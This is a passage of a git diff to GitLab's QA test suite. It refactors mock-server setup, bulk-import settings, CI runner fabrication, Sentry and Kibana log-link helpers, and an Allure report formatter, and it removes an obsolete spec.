+ Vendor::Smocker::SmockerApi.new(
+ host: smocker_host,
+ public_port: 443,
+ admin_port: 8081,
+ tls: true
+ )
+ end
+
+ let(:mocks_path) { File.join(Runtime::Path.fixtures_path, "mocks", "import") }
+
before do
+ set_mocks
group.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
end
+
+ def expect_project_import_finished_successfully
+ imported_project.reload! # import the project
+
+ status = nil
+ Support::Retrier.retry_until(max_duration: 240, sleep_interval: 1, raise_on_failure: false) do
+ status = imported_project.project_import_status[:import_status]
+ %w[finished failed].include?(status)
+ end
+
+ # finished status means success, all other statuses are considered to fail the test
+ expect(status).to eq('finished'), "Expected import to finish successfully, but status was: #{status}"
+ end
+
+ # Setup github mocked responses if mock server host is present
+ #
+ # @return [void]
+ def set_mocks
+ return Runtime::Logger.warn("Mock host is not set, skipping github response setup") unless smocker_host
+
+ smocker.reset
+ smocker.register(File.read(File.join(mocks_path, "github.yml")))
+ end
end
end
diff --git a/qa/qa/specs/features/shared_contexts/import/gitlab_group_migration_common.rb b/qa/qa/specs/features/shared_contexts/import/gitlab_group_migration_common.rb
index e1d762f41cb..853f427db12 100644
--- a/qa/qa/specs/features/shared_contexts/import/gitlab_group_migration_common.rb
+++ b/qa/qa/specs/features/shared_contexts/import/gitlab_group_migration_common.rb
@@ -19,6 +19,9 @@ module QA
is_new_session: false
)
end
+ let!(:source_bulk_import_enabled) do
+ Runtime::ApplicationSettings.get_application_settings(api_client: source_admin_api_client)[:bulk_import_enabled]
+ end
let!(:source_admin_user) do
Resource::User.fabricate_via_api! do |usr|
usr.api_client = source_admin_api_client
@@ -36,6 +39,9 @@ module QA
# target instance objects
#
let!(:admin_api_client) { Runtime::API::Client.as_admin }
+ let!(:target_bulk_import_enabled) do
+ Runtime::ApplicationSettings.get_application_settings(api_client: admin_api_client)[:bulk_import_enabled]
+ end
let!(:admin_user) do
Resource::User.fabricate_via_api! do |usr|
usr.api_client = admin_api_client
@@ -87,7 +93,8 @@ module QA
end
before do
- Runtime::ApplicationSettings.set_application_settings(bulk_import_enabled: true)
+ enable_bulk_import(source_admin_api_client) if source_admin_user && !source_bulk_import_enabled
+ enable_bulk_import(admin_api_client) unless target_bulk_import_enabled
target_sandbox.add_member(user, Resource::Members::AccessLevel::OWNER)
end
@@ -102,5 +109,9 @@ module QA
# make sure cleanup runs last
cleanup!
end
+
+ def enable_bulk_import(api_client)
+ Runtime::ApplicationSettings.set_application_settings(api_client: api_client, bulk_import_enabled: true)
+ end
end
end
diff --git a/qa/qa/specs/features/shared_contexts/merge_train_spec_with_user_prep.rb b/qa/qa/specs/features/shared_contexts/merge_train_spec_with_user_prep.rb
index 9d1a37cb0b8..8af5dc5463e 100644
--- a/qa/qa/specs/features/shared_contexts/merge_train_spec_with_user_prep.rb
+++ b/qa/qa/specs/features/shared_contexts/merge_train_spec_with_user_prep.rb
@@ -20,7 +20,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/shared_contexts/packages_registry_shared_context.rb b/qa/qa/specs/features/shared_contexts/packages_registry_shared_context.rb
index 73a6c2bd99e..a611a801b11 100644
--- a/qa/qa/specs/features/shared_contexts/packages_registry_shared_context.rb
+++ b/qa/qa/specs/features/shared_contexts/packages_registry_shared_context.rb
@@ -28,11 +28,11 @@ module QA
end
let(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::GroupRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{package_project.group.name}"]
runner.executor = :docker
- runner.token = package_project.group.reload!.runners_token
+ runner.group = package_project.group
end
end
diff --git a/qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb b/qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb
index 45caeced35c..2219031e9c6 100644
--- a/qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb
+++ b/qa/qa/specs/features/shared_contexts/variable_inheritance_shared_context.rb
@@ -37,8 +37,8 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
- runner.token = group.reload!.runners_token
+ Resource::GroupRunner.fabricate! do |runner|
+ runner.group = group
runner.name = random_string
runner.tags = [random_string]
end
diff --git a/qa/qa/specs/helpers/context_selector.rb b/qa/qa/specs/helpers/context_selector.rb
index caa5ace430f..dfb00cb807b 100644
--- a/qa/qa/specs/helpers/context_selector.rb
+++ b/qa/qa/specs/helpers/context_selector.rb
@@ -27,7 +27,7 @@ module QA
uri = URI(Runtime::Scenario.gitlab_address)
options.each do |option|
- opts[:domain] = 'gitlab' if option == :production
+ opts[:domain] = production_domain if option == :production
next unless option.is_a?(Hash)
@@ -75,6 +75,10 @@ module QA
def pipeline_from_project_name(project_name)
project_name.to_s.start_with?('gitlab-qa') ? Runtime::Env.default_branch : project_name
end
+
+ def production_domain
+ GitlabEdition.jh? ? 'jihulab' : 'gitlab'
+ end
end
end
end
diff --git a/qa/qa/specs/spec_helper.rb b/qa/qa/specs/spec_helper.rb
index 003e8aa74c1..0e6e3973de9 100644
--- a/qa/qa/specs/spec_helper.rb
+++ b/qa/qa/specs/spec_helper.rb
@@ -28,13 +28,6 @@ RSpec.configure do |config|
config.add_formatter QA::Support::Formatters::FeatureFlagFormatter
config.add_formatter QA::Support::Formatters::TestMetricsFormatter if QA::Runtime::Env.running_in_ci?
- config.before(:suite) do |suite|
- QA::Resource::ReusableCollection.register_resource_classes do |collection|
- QA::Resource::ReusableProject.register(collection)
- QA::Resource::ReusableGroup.register(collection)
- end
- end
-
config.prepend_before do |example|
QA::Runtime::Logger.info("Starting test: #{Rainbow(example.full_description).bright}")
QA::Runtime::Example.current = example
@@ -85,24 +78,6 @@ RSpec.configure do |config|
config.after(:suite) do |suite|
# Write all test created resources to JSON file
QA::Tools::TestResourceDataProcessor.write_to_file(suite.reporter.failed_examples.any?)
-
- # If requested, confirm that resources were used appropriately (e.g., not left with changes that interfere with
- # further reuse)
- QA::Resource::ReusableCollection.validate_resource_reuse if QA::Runtime::Env.validate_resource_reuse?
-
- # If any tests failed, leave the resources behind to help troubleshoot, otherwise remove them.
- # Do not remove the shared resource on live environments
- begin
- next if suite.reporter.failed_examples.present?
- next unless QA::Runtime::Scenario.attributes.include?(:gitlab_address)
- next if QA::Runtime::Env.running_on_dot_com?
-
- QA::Resource::ReusableCollection.remove_all_via_api!
- rescue QA::Resource::Errors::InternalServerError => e
- # Temporarily prevent this error from failing jobs while the cause is investigated
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/354387
- QA::Runtime::Logger.debug(e.message)
- end
end
config.append_after(:suite) do
diff --git a/qa/qa/support/api.rb b/qa/qa/support/api.rb
index ea19d9ef332..0081b1c1d46 100644
--- a/qa/qa/support/api.rb
+++ b/qa/qa/support/api.rb
@@ -144,7 +144,7 @@ module QA
end
def with_paginated_response_body(url, attempts: 0)
- not_ok_error = lambda do |resp|
+ not_ok_error = ->(resp) do
raise "Failed to GET #{masked_url(url)} - (#{resp.code}): `#{resp}`."
end
@@ -164,7 +164,7 @@ module QA
yield parse_body(response)
- break if next_page.empty?
+ break if next_page.blank?
url = url.match?(/&page=\d+/) ? url.gsub(/&page=\d+/, "&page=#{next_page}") : "#{url}&page=#{next_page}"
end
diff --git a/qa/qa/support/formatters/allure_metadata_formatter.rb b/qa/qa/support/formatters/allure_metadata_formatter.rb
index c8ddbeb4536..eac74a3b961 100644
--- a/qa/qa/support/formatters/allure_metadata_formatter.rb
+++ b/qa/qa/support/formatters/allure_metadata_formatter.rb
@@ -3,6 +3,14 @@
module QA
module Support
module Formatters
+ # RSpec formatter to enhance metadata present in allure report
+ # Following additional data is added:
+ # * quarantine issue links
+ # * failure issues search link
+ # * ci job link
+ # * flaky status and test pass rate
+ # * devops stage and group as epic and feature behaviour tags
+ #
class AllureMetadataFormatter < ::RSpec::Core::Formatters::BaseFormatter
include Support::InfluxdbTools
@@ -18,8 +26,6 @@ module QA
# @param [RSpec::Core::Notifications::StartNotification] _start_notification
# @return [void]
def start(_start_notification)
- return unless merge_request_iid # on main runs allure native history has pass rate already
-
save_flaky_specs
log(:debug, "Fetched #{flaky_specs.length} flaky testcases!")
rescue StandardError => e
@@ -63,11 +69,11 @@ module QA
# @param [RSpec::Core::Example] example
# @return [void]
def add_failure_issues_link(example)
- spec_file = example.file_path.split('/').last
- example.issue(
- 'Failure issues',
- "https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&search=#{spec_file}"
- )
+ return unless example.execution_result.status == :failed
+
+ search_query = ERB::Util.url_encode("Failure in #{example.file_path.gsub('./qa/specs/features/', '')}")
+ search_url = "https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&search=#{search_query}"
+ example.issue('Failure issues', search_url)
rescue StandardError => e
log(:error, "Failed to add failure issue link for example '#{example.description}', error: #{e}")
end
@@ -89,10 +95,10 @@ module QA
# @param [RSpec::Core::Example] example
# @return [void]
def set_flaky_status(example)
- return unless merge_request_iid && flaky_specs.key?(example.metadata[:testcase])
+ return unless flaky_specs.key?(example.metadata[:testcase]) && example.execution_result.status != :pending
example.set_flaky
- example.parameter("pass_rate", "#{flaky_specs[example.metadata[:testcase]].round(1)}%")
+ example.parameter("pass_rate", "#{flaky_specs[example.metadata[:testcase]].round(0)}%")
log(:debug, "Setting spec as flaky because it's pass rate is below 98%")
rescue StandardError => e
log(:error, "Failed to add spec pass rate data for example '#{example.description}', error: #{e}")
diff --git a/qa/qa/support/loglinking.rb b/qa/qa/support/loglinking.rb
index 5a1aad3c7eb..e9202af3965 100644
--- a/qa/qa/support/loglinking.rb
+++ b/qa/qa/support/loglinking.rb
@@ -1,7 +1,5 @@
# frozen_string_literal: true
-require 'active_support/core_ext/integer/time'
-
module QA
module Support
module Loglinking
@@ -10,22 +8,6 @@ module QA
STAGING_REF_ADDRESS = 'https://staging-ref.gitlab.com'
PRODUCTION_ADDRESS = 'https://gitlab.com'
PRE_PROD_ADDRESS = 'https://pre.gitlab.com'
- SENTRY_BASE_URLS = {
- staging: 'https://sentry.gitlab.net/gitlab/staginggitlabcom/?environment=gstg',
- staging_ref: 'https://sentry.gitlab.net/gitlab/staging-ref/?environment=all',
- pre: 'https://sentry.gitlab.net/gitlab/pregitlabcom/?environment=all',
- production: 'https://sentry.gitlab.net/gitlab/gitlabcom/?environment=gprd'
- }.freeze
- KIBANA_BASE_URLS = {
- staging: 'https://nonprod-log.gitlab.net/',
- production: 'https://log.gprd.gitlab.net/',
- pre: 'https://nonprod-log.gitlab.net/'
- }.freeze
- KIBANA_INDICES = {
- staging: 'ed942d00-5186-11ea-ad8a-f3610a492295',
- production: '7092c4e2-4eb5-46f2-8305-a7da2edad090',
- pre: 'pubsub-rails-inf-pre'
- }.freeze
class << self
def failure_metadata(correlation_id)
@@ -33,43 +15,23 @@ module QA
errors = ["Correlation Id: #{correlation_id}"]
- env = get_logging_environment
+ env = logging_environment
- unless env.nil?
- sentry_base_url = get_sentry_base_url(env)
- kibana_base_url = get_kibana_base_url(env)
- kibana_index = get_kibana_index(env)
+ sentry = QA::Support::SystemLogs::Sentry.new(env, correlation_id)
+ sentry_url = sentry.url
- errors << "Sentry Url: #{get_sentry_url(sentry_base_url, correlation_id)}" if sentry_base_url
- errors << "Kibana Url: #{get_kibana_url(kibana_base_url, kibana_index, correlation_id)}" if kibana_base_url
- end
+ kibana = QA::Support::SystemLogs::Kibana.new(env, correlation_id)
+ kibana_discover_url = kibana.discover_url
+ kibana_dashboard_url = kibana.dashboard_url
- errors.join("\n")
- end
+ errors << "Sentry Url: #{sentry_url}" if sentry_url
+ errors << "Kibana - Discover Url: #{kibana_discover_url}" if kibana_discover_url
+ errors << "Kibana - Dashboard Url: #{kibana_dashboard_url}" if kibana_dashboard_url
- def get_sentry_base_url(env)
- SENTRY_BASE_URLS[env]
- end
-
- def get_sentry_url(base_url, correlation_id)
- "#{base_url}&query=correlation_id%3A%22#{correlation_id}%22"
- end
-
- def get_kibana_base_url(env)
- KIBANA_BASE_URLS[env]
- end
-
- def get_kibana_index(env)
- KIBANA_INDICES[env]
- end
-
- def get_kibana_url(base_url, index, correlation_id)
- "#{base_url}app/discover#/?_a=%28index:%27#{index}%27%2Cquery%3A%28language%3Akuery%2C" \
- "query%3A%27json.correlation_id%20%3A%20#{correlation_id}%27%29%29" \
- "&_g=%28time%3A%28from%3A%27#{start_time}%27%2Cto%3A%27#{end_time}%27%29%29"
+ errors.join("\n")
end
- def get_logging_environment
+ def logging_environment
address = QA::Runtime::Scenario.attributes[:gitlab_address]
return if address.nil?
@@ -86,14 +48,6 @@ module QA
nil
end
end
-
- def start_time
- (Time.now.utc - 24.hours).iso8601(3)
- end
-
- def end_time
- Time.now.utc.iso8601(3)
- end
end
end
end
diff --git a/qa/qa/support/system_logs/kibana.rb b/qa/qa/support/system_logs/kibana.rb
new file mode 100644
index 00000000000..056323a6e30
--- /dev/null
+++ b/qa/qa/support/system_logs/kibana.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'active_support/core_ext/integer/time'
+
+module QA
+ module Support
+ module SystemLogs
+ class Kibana
+ BASE_URLS = {
+ staging: 'https://nonprod-log.gitlab.net/',
+ production: 'https://log.gprd.gitlab.net/',
+ pre: 'https://nonprod-log.gitlab.net/'
+ }.freeze
+ INDICES = {
+ staging: 'ed942d00-5186-11ea-ad8a-f3610a492295',
+ production: '7092c4e2-4eb5-46f2-8305-a7da2edad090',
+ pre: 'pubsub-rails-inf-pre'
+ }.freeze
+ DASHBOARD_IDS = {
+ staging: 'b74dc030-6f56-11ed-9af2-6131f0ee4ce6',
+ production: '5e6d3440-7597-11ed-9f43-e3784d7fe3ca',
+ pre: '15596340-7570-11ed-9af2-6131f0ee4ce6'
+ }.freeze
+
+ def initialize(env, correlation_id)
+ @base_url = BASE_URLS[env]
+ @index = INDICES[env]
+ @dashboard_id = DASHBOARD_IDS[env]
+ @correlation_id = correlation_id
+ end
+
+ def discover_url
+ return if @base_url.nil?
+
+ "#{@base_url}app/discover#/?_a=%28index:%27#{@index}%27%2Cquery%3A%28language%3Akuery%2C" \
+ "query%3A%27json.correlation_id%20%3A%20#{@correlation_id}%27%29%29" \
+ "&_g=%28time%3A%28from%3A%27#{start_time}%27%2Cto%3A%27#{end_time}%27%29%29"
+ end
+
+ def dashboard_url
+ return if @base_url.nil?
+
+ "#{@base_url}app/dashboards#/view/#{@dashboard_id}?_g=%28time%3A%28from:%27#{start_time}%27%2C" \
+ "to%3A%27#{end_time}%27%29%29&_a=%28filters%3A%21%28%28query%3A%28match_phrase%3A%28" \
+ "json.correlation_id%3A%27#{@correlation_id}%27%29%29%29%29%29"
+ end
+
+ private
+
+ def start_time
+ (Time.now.utc - 24.hours).iso8601(3)
+ end
+
+ def end_time
+ Time.now.utc.iso8601(3)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/support/system_logs/sentry.rb b/qa/qa/support/system_logs/sentry.rb
new file mode 100644
index 00000000000..a1bd53e7d7a
--- /dev/null
+++ b/qa/qa/support/system_logs/sentry.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module QA
+ module Support
+ module SystemLogs
+ class Sentry
+ BASE_URLS = {
+ staging: 'https://sentry.gitlab.net/gitlab/staginggitlabcom/?environment=gstg',
+ staging_ref: 'https://sentry.gitlab.net/gitlab/staging-ref/?environment=all',
+ pre: 'https://sentry.gitlab.net/gitlab/pregitlabcom/?environment=all',
+ production: 'https://sentry.gitlab.net/gitlab/gitlabcom/?environment=gprd'
+ }.freeze
+
+ def initialize(env, correlation_id)
+ @base_url = BASE_URLS[env]
+ @correlation_id = correlation_id
+ end
+
+ def url
+ return if @base_url.nil?
+
+ "#{@base_url}&query=correlation_id%3A%22#{@correlation_id}%22"
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/tools/delete_subgroups.rb b/qa/qa/tools/delete_subgroups.rb
index edf2f0ff5f0..84166ec0038 100644
--- a/qa/qa/tools/delete_subgroups.rb
+++ b/qa/qa/tools/delete_subgroups.rb
@@ -127,7 +127,7 @@ module QA
next unless subgroup_exists?(subgroup)
logger.info("Permanently deleting subgroup #{path}...")
- delete_subgroup_response = delete(subgroup_request(subgroup, { permanently_remove: true, full_path: path }))
+ delete_subgroup_response = delete(subgroup_request(subgroup, permanently_remove: true, full_path: path))
process_response_and_subgroup(delete_subgroup_response, subgroup)
end
diff --git a/qa/qa/vendor/jenkins/job.rb b/qa/qa/vendor/jenkins/job.rb
index 46048960fae..1d6918c5548 100644
--- a/qa/qa/vendor/jenkins/job.rb
+++ b/qa/qa/vendor/jenkins/job.rb
@@ -96,7 +96,7 @@ module QA
end
xml.concurrentBuild false
xml.builders do
- xml.send('hudson.tasks.Shell') do
+ xml.send(:"hudson.tasks.Shell") do
xml.command shell_command
xml.configuredLocalRules
end
@@ -115,12 +115,12 @@ module QA
if repo_url
xml.scm(class: 'hudson.plugins.git.GitSCM') do
xml.userRemoteConfigs do
- xml.send('hudson.plugins.git.UserRemoteConfig') do
+ xml.send(:"hudson.plugins.git.UserRemoteConfig") do
xml.url repo_url
end
end
xml.branches do
- xml.send('hudson.plugins.git.BranchSpec') do
+ xml.send(:"hudson.plugins.git.BranchSpec") do
xml.name
end
end
@@ -133,7 +133,7 @@ module QA
def build_gitlab_connection(xml)
if gitlab_connection
- xml.send('com.dabsquared.gitlabjenkins.connection.GitLabConnectionProperty') do
+ xml.send(:"com.dabsquared.gitlabjenkins.connection.GitLabConnectionProperty") do
xml.gitLabConnection gitlab_connection
end
end
@@ -141,7 +141,7 @@ module QA
def build_gitlab_triggers(xml)
if gitlab_connection
- xml.send('com.dabsquared.gitlabjenkins.GitLabPushTrigger') do
+ xml.send(:"com.dabsquared.gitlabjenkins.GitLabPushTrigger") do
xml.spec
xml.triggerOnPush true
xml.triggerOnMergeRequest true
@@ -154,7 +154,7 @@ module QA
def build_gitlab_publishers(xml)
if gitlab_connection
- xml.send('com.dabsquared.gitlabjenkins.publisher.GitLabCommitStatusPublisher') do
+ xml.send(:"com.dabsquared.gitlabjenkins.publisher.GitLabCommitStatusPublisher") do
xml.name 'jenkins'
xml.markUnstableAsSuccess false
end
diff --git a/qa/qa/vendor/smocker/event_payload.rb b/qa/qa/vendor/smocker/event_payload.rb
index e7287c741ce..70998e055ea 100644
--- a/qa/qa/vendor/smocker/event_payload.rb
+++ b/qa/qa/vendor/smocker/event_payload.rb
@@ -41,7 +41,7 @@ module QA
end
def tag?
- event == :tag
+ event == :tag_push
end
def wiki?
diff --git a/qa/qa/vendor/smocker/smocker_api.rb b/qa/qa/vendor/smocker/smocker_api.rb
index 230656776b7..359d1497825 100644
--- a/qa/qa/vendor/smocker/smocker_api.rb
+++ b/qa/qa/vendor/smocker/smocker_api.rb
@@ -17,36 +17,21 @@ module QA
body: '{}'
YAML
- # @param wait [Integer] seconds to wait for server
- # @yieldparam [SmockerApi] the api object ready for interaction
- def self.init(**wait_args)
- if @container.nil?
- @container = Service::DockerRun::Smocker.new
- @container.register!
- @container.wait_for_running
- end
-
- yield new(@container, **wait_args)
- end
-
- def self.teardown!
- @container&.remove!
- @container = nil
- end
-
- def initialize(container, **wait_args)
- @container = container
- wait_for_ready(**wait_args)
+ def initialize(host:, public_port: 8080, admin_port: 8081, tls: false)
+ @host = host
+ @public_port = public_port
+ @admin_port = admin_port
+ @scheme = tls ? "https" : "http"
end
# @return [String] Base url of mock endpoint
def base_url
- @container.base_url
+ @base_url ||= "#{scheme}://#{host}:#{public_port}"
end
# @return [String] Url of admin endpoint
def admin_url
- @container.admin_url
+ @admin_url ||= "#{scheme}://#{host}:#{admin_port}"
end
# @param endpoint [String] path for mock endpoint
@@ -130,6 +115,8 @@ module QA
private
+ attr_reader :host, :public_port, :admin_port, :scheme
+
def build_params(**args)
args.each_with_object([]) do |(k, v), memo|
memo << "#{k}=#{v}" if v
diff --git a/qa/spec/resource/api_fabricator_spec.rb b/qa/spec/resource/api_fabricator_spec.rb
index 76cc8e0e303..0cec6b2a1ea 100644
--- a/qa/spec/resource/api_fabricator_spec.rb
+++ b/qa/spec/resource/api_fabricator_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe QA::Resource::ApiFabricator do
it 'logs a correlation id' do
response = double('Raw POST response', code: 400, body: post_response.to_json, headers: { x_request_id: 'foobar' })
- allow(QA::Support::Loglinking).to receive(:get_logging_environment).and_return(nil)
+ allow(QA::Support::Loglinking).to receive(:logging_environment).and_return(nil)
expect(api_request).to receive(:new).with(api_client_instance, subject.api_post_path).and_return(double(url: resource_web_url))
expect(subject).to receive(:post).with(resource_web_url, subject.api_post_body).and_return(response)
@@ -157,7 +157,8 @@ RSpec.describe QA::Resource::ApiFabricator do
Fabrication of FooBarResource using the API failed (400) with `#{raw_post}`.
Correlation Id: foobar
Sentry Url: https://sentry.gitlab.net/gitlab/staginggitlabcom/?environment=gstg&query=correlation_id%3A%22foobar%22
- Kibana Url: https://nonprod-log.gitlab.net/app/discover#/?_a=%28index:%27ed942d00-5186-11ea-ad8a-f3610a492295%27%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20foobar%27%29%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29
+ Kibana - Discover Url: https://nonprod-log.gitlab.net/app/discover#/?_a=%28index:%27ed942d00-5186-11ea-ad8a-f3610a492295%27%2Cquery%3A%28language%3Akuery%2Cquery%3A%27json.correlation_id%20%3A%20foobar%27%29%29&_g=%28time%3A%28from%3A%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29
+ Kibana - Dashboard Url: https://nonprod-log.gitlab.net/app/dashboards#/view/b74dc030-6f56-11ed-9af2-6131f0ee4ce6?_g=%28time%3A%28from:%272022-11-13T00:00:00.000Z%27%2Cto%3A%272022-11-14T00:00:00.000Z%27%29%29&_a=%28filters%3A%21%28%28query%3A%28match_phrase%3A%28json.correlation_id%3A%27foobar%27%29%29%29%29%29
ERROR
end
end
diff --git a/qa/spec/resource/reusable_collection_spec.rb b/qa/spec/resource/reusable_collection_spec.rb
deleted file mode 100644
index cb2df6931d0..00000000000
--- a/qa/spec/resource/reusable_collection_spec.rb
+++ /dev/null
@@ -1,128 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.describe QA::Resource::ReusableCollection do
- let(:reusable_resource_class) do
- Class.new do
- prepend QA::Resource::Reusable
-
- attr_reader :removed
-
- def self.name
- 'FooReusableResource'
- end
-
- def comparable
- self.class.name
- end
-
- def remove_via_api!
- @removed = true
- end
-
- def exists?() end
-
- def reload!
- Struct.new(:api_resource).new({ marked_for_deletion_on: false })
- end
- end
- end
-
- let(:another_reusable_resource_class) do
- Class.new(reusable_resource_class) do
- def self.name
- 'BarReusableResource'
- end
- end
- end
-
- let(:a_resource_instance) { reusable_resource_class.new }
- let(:another_resource_instance) { another_reusable_resource_class.new }
-
- it 'is a singleton class' do
- expect { described_class.new }.to raise_error(NoMethodError)
- end
-
- subject(:collection) do
- described_class.instance
- end
-
- before do
- described_class.register_resource_classes do |c|
- reusable_resource_class.register(c)
- another_reusable_resource_class.register(c)
- end
-
- collection.resource_classes = {
- 'FooReusableResource' => {
- reuse_as_identifier: {
- resource: a_resource_instance
- }
- },
- 'BarReusableResource' => {
- another_reuse_as_identifier: {
- resource: another_resource_instance
- }
- }
- }
-
- allow(a_resource_instance).to receive(:validate_reuse)
- allow(another_resource_instance).to receive(:validate_reuse)
- end
-
- after do
- collection.resource_classes = {}
- end
-
- describe '#each_resource' do
- it 'yields each resource and reuse_as identifier in the collection' do
- expect { |blk| collection.each_resource(&blk) }
- .to yield_successive_args(
- [:reuse_as_identifier, a_resource_instance],
- [:another_reuse_as_identifier, another_resource_instance]
- )
- end
- end
-
- describe '.remove_all_via_api!' do
- before do
- allow(a_resource_instance).to receive(:exists?).and_return(true)
- allow(another_resource_instance).to receive(:exists?).and_return(true)
- end
-
- it 'removes each instance of each resource class' do
- described_class.remove_all_via_api!
-
- expect(a_resource_instance.removed).to be_truthy
- expect(another_resource_instance.removed).to be_truthy
- end
-
- context 'when a resource is marked for deletion' do
- before do
- marked_for_deletion = Struct.new(:api_resource).new({ marked_for_deletion_on: true })
-
- allow(a_resource_instance).to receive(:reload!).and_return(marked_for_deletion)
- allow(another_resource_instance).to receive(:reload!).and_return(marked_for_deletion)
- end
-
- it 'does not remove the resource' do
- expect(a_resource_instance.removed).to be_falsey
- expect(another_resource_instance.removed).to be_falsy
- end
- end
- end
-
- describe '.validate_resource_reuse' do
- it 'validates each instance of each resource class' do
- expect(a_resource_instance).to receive(:validate_reuse)
- expect(another_resource_instance).to receive(:validate_reuse)
-
- described_class.validate_resource_reuse
- end
- end
-
- describe '.register_resource_classes' do
- it 'yields the hash of resource classes in the collection' do
- expect { |blk| described_class.register_resource_classes(&blk) }.to yield_with_args(collection.resource_classes)
- end
- end
-end
diff --git a/qa/spec/runtime/application_settings_spec.rb b/qa/spec/runtime/application_settings_spec.rb
index 5c4947f6f70..d387bf0995a 100644
--- a/qa/spec/runtime/application_settings_spec.rb
+++ b/qa/spec/runtime/application_settings_spec.rb
@@ -1,14 +1,10 @@
# frozen_string_literal: true
RSpec.describe QA::Runtime::ApplicationSettings do
- let(:api_client) { double('QA::Runtime::API::Client') }
+ let(:api_client) { instance_double(QA::Runtime::API::Client) }
let(:request) { Struct.new(:url).new('http://api') }
let(:get_response) { Struct.new(:body).new("{}") }
- before do
- allow(described_class).to receive(:api_client).and_return(api_client)
- end
-
describe '.set_application_settings' do
it 'sets application settings' do
expect(QA::Runtime::API::Request)
@@ -23,7 +19,10 @@ RSpec.describe QA::Runtime::ApplicationSettings do
.with(request.url, { allow_local_requests_from_web_hooks_and_services: true })
.and_return(Struct.new(:code).new(200))
- described_class.set_application_settings(allow_local_requests_from_web_hooks_and_services: true)
+ described_class.set_application_settings(
+ api_client: api_client,
+ allow_local_requests_from_web_hooks_and_services: true
+ )
end
end
@@ -39,7 +38,7 @@ RSpec.describe QA::Runtime::ApplicationSettings do
.with(request.url)
.and_return(get_response)
- described_class.get_application_settings
+ described_class.get_application_settings(api_client: api_client)
end
end
end
diff --git a/qa/spec/spec_helper.rb b/qa/spec/spec_helper.rb
index 95970800a4e..84d3199a274 100644
--- a/qa/spec/spec_helper.rb
+++ b/qa/spec/spec_helper.rb
@@ -3,3 +3,4 @@
require_relative '../qa'
require_relative 'scenario_shared_examples'
+require_relative('../../jh/qa/spec/spec_helper') if GitlabEdition.jh?
diff --git a/qa/spec/support/formatters/allure_metadata_formatter_spec.rb b/qa/spec/support/formatters/allure_metadata_formatter_spec.rb
index d84e190fd56..ab3b753c3b0 100644
--- a/qa/spec/support/formatters/allure_metadata_formatter_spec.rb
+++ b/qa/spec/support/formatters/allure_metadata_formatter_spec.rb
@@ -5,25 +5,33 @@ describe QA::Support::Formatters::AllureMetadataFormatter do
let(:formatter) { described_class.new(StringIO.new) }
- let(:rspec_example_notification) { double('RSpec::Core::Notifications::ExampleNotification', example: rspec_example) }
+ let(:rspec_example_notification) do
+ instance_double(RSpec::Core::Notifications::ExampleNotification, example: rspec_example)
+ end
+
+ # rubocop:disable RSpec/VerifiedDoubles
let(:rspec_example) do
double(
- 'RSpec::Core::Example',
+ RSpec::Core::Example,
tms: nil,
issue: nil,
add_link: nil,
+ set_flaky: nil,
+ parameter: nil,
attempts: 0,
- file_path: 'file/path/spec.rb',
- execution_result: instance_double("RSpec::Core::Example::ExecutionResult", status: :passed),
+ file_path: 'spec.rb',
+ execution_result: instance_double(RSpec::Core::Example::ExecutionResult, status: status),
metadata: {
testcase: 'testcase',
quarantine: { issue: 'issue' }
}
)
end
+ # rubocop:enable RSpec/VerifiedDoubles
let(:ci_job) { 'ee:relative 5' }
let(:ci_job_url) { 'url' }
+ let(:status) { :failed }
before do
stub_env('CI', 'true')
@@ -31,16 +39,62 @@ describe QA::Support::Formatters::AllureMetadataFormatter do
stub_env('CI_JOB_URL', ci_job_url)
end
- it "adds additional data to report" do
- formatter.example_finished(rspec_example_notification)
+ context 'with links' do
+ it 'adds quarantine, failure issue and ci job links', :aggregate_failures do
+ formatter.example_finished(rspec_example_notification)
- aggregate_failures do
expect(rspec_example).to have_received(:issue).with('Quarantine issue', 'issue')
expect(rspec_example).to have_received(:add_link).with(name: "Job(#{ci_job})", url: ci_job_url)
expect(rspec_example).to have_received(:issue).with(
'Failure issues',
- 'https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&search=spec.rb'
+ 'https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&search=Failure%20in%20spec.rb'
)
end
end
+
+ context 'with flaky test data', :aggregate_failures do
+ let(:influx_client) { instance_double(InfluxDB2::Client, create_query_api: influx_query_api) }
+ let(:influx_query_api) { instance_double(InfluxDB2::QueryApi, query: data) }
+ let(:data) do
+ [
+ instance_double(
+ InfluxDB2::FluxTable,
+ records: [
+ instance_double(InfluxDB2::FluxRecord, values: { 'status' => 'failed', 'testcase' => 'testcase' }),
+ instance_double(InfluxDB2::FluxRecord, values: { 'status' => 'passed', 'testcase' => 'testcase' })
+ ]
+ )
+ ]
+ end
+
+ before do
+ stub_env('QA_RUN_TYPE', 'package-and-test')
+ stub_env('QA_INFLUXDB_URL', 'url')
+ stub_env('QA_INFLUXDB_TOKEN', 'token')
+
+ allow(InfluxDB2::Client).to receive(:new) { influx_client }
+ end
+
+ context 'with non skipped spec' do
+ it 'adds flaky test data' do
+ formatter.start(nil)
